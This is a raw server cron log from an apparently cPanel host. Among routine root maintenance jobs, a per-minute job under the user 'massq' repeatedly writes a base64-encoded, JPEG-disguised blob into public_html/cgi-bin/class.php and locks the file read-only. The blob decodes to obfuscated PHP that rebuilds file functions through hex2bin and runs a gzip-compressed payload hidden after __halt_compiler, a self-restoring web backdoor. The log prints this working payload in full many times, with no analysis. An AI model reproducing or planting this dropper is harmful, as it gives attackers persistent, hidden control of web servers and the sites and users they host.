Aug 31 06:13:01 server CROND[18483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:14:01 server CROND[18852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:14:01 server CROND[18853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:14:01 server CROND[18854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:15:01 server CROND[19379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:15:01 server CROND[19381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:15:01 server CROND[19384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:15:01 server CROND[19382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:15:01 server CROND[19387]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:15:01 server CROND[19388]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 06:15:01 server CROND[19385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:15:01 server CROND[19386]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 06:15:01 server CROND[19389]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 06:15:01 server CROND[19383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:16:01 server CROND[20315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:16:01 server CROND[20316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:16:01 server CROND[20317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:17:01 server CROND[20701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:17:01 server CROND[20702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:17:01 server CROND[20703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:18:01 server CROND[21089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:18:01 server CROND[21090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:18:01 server CROND[21091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:19:01 server CROND[21461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:19:01 server CROND[21462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:19:01 server CROND[21463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:20:01 server CROND[21851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:20:01 server CROND[21853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:20:01 server CROND[21855]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:20:01 server CROND[21856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:20:01 server CROND[21858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:20:01 server CROND[21861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:20:01 server CROND[21857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:20:01 server CROND[21859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:20:01 server CROND[21860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:21:01 server CROND[22975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:21:01 server CROND[22976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:21:01 server CROND[22977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:22:01 server CROND[23382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:22:01 server CROND[23383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:22:01 server CROND[23384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:23:01 server CROND[23761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:23:01 server CROND[23762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:23:01 server CROND[23763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:24:01 server CROND[24129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:24:01 server CROND[24130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:24:01 server CROND[24131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:25:01 server CROND[24520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:25:01 server CROND[24521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:25:01 server CROND[24524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:25:01 server CROND[24525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
